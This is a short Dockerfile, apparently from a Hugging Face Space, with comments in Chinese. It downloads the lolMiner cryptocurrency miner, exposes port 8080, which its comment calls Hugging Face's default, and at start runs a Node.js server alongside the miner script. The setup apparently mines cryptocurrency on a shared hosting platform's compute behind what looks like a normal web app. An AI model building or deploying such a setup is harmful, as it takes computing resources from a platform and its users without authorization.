File size: 952 Bytes
282f10f
bc892d8
35524d9
 
 
 
5692d6e
35524d9
 
 
bc892d8
282f10f
 
bc892d8
282f10f
 
bc892d8
282f10f
 
5692d6e
bc892d8
 
 
282f10f
5692d6e
 
344eaf5
5692d6e
 
2b8c943
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
FROM ubuntu:20.04

ENV DEBIAN_FRONTEND=noninteractive
ENV TERM=xterm

# 安装必要的依赖,并设置时区为上海
RUN apt-get update && \
    apt-get install -y tzdata wget tar nodejs npm && \
    ln -fs /usr/share/zoneinfo/Asia/Shanghai /etc/localtime && \
    dpkg-reconfigure --frontend noninteractive tzdata

# 下载最新版本的lolMiner
RUN wget https://github.com/Lolliedieb/lolMiner-releases/releases/download/1.94a/lolMiner_v1.94a_Lin64.tar.gz -O lolMiner.tar.gz \
    && tar -xvf lolMiner.tar.gz \
    && mv 1.94a/lolMiner /usr/local/bin/lolMiner \
    && rm -rf 1.94a lolMiner.tar.gz

# 复制配置文件和Node.js应用
COPY miner-config.sh /app/miner-config.sh
COPY index.js /app/index.js

WORKDIR /app

# 安装Node.js应用的依赖
RUN npm install

# 暴露Hugging Face默认端口
EXPOSE 8080

# 运行Node.js服务器和lolMiner,直接将输出重定向到控制台
CMD ["sh", "-c", "node index.js & bash miner-config.sh"]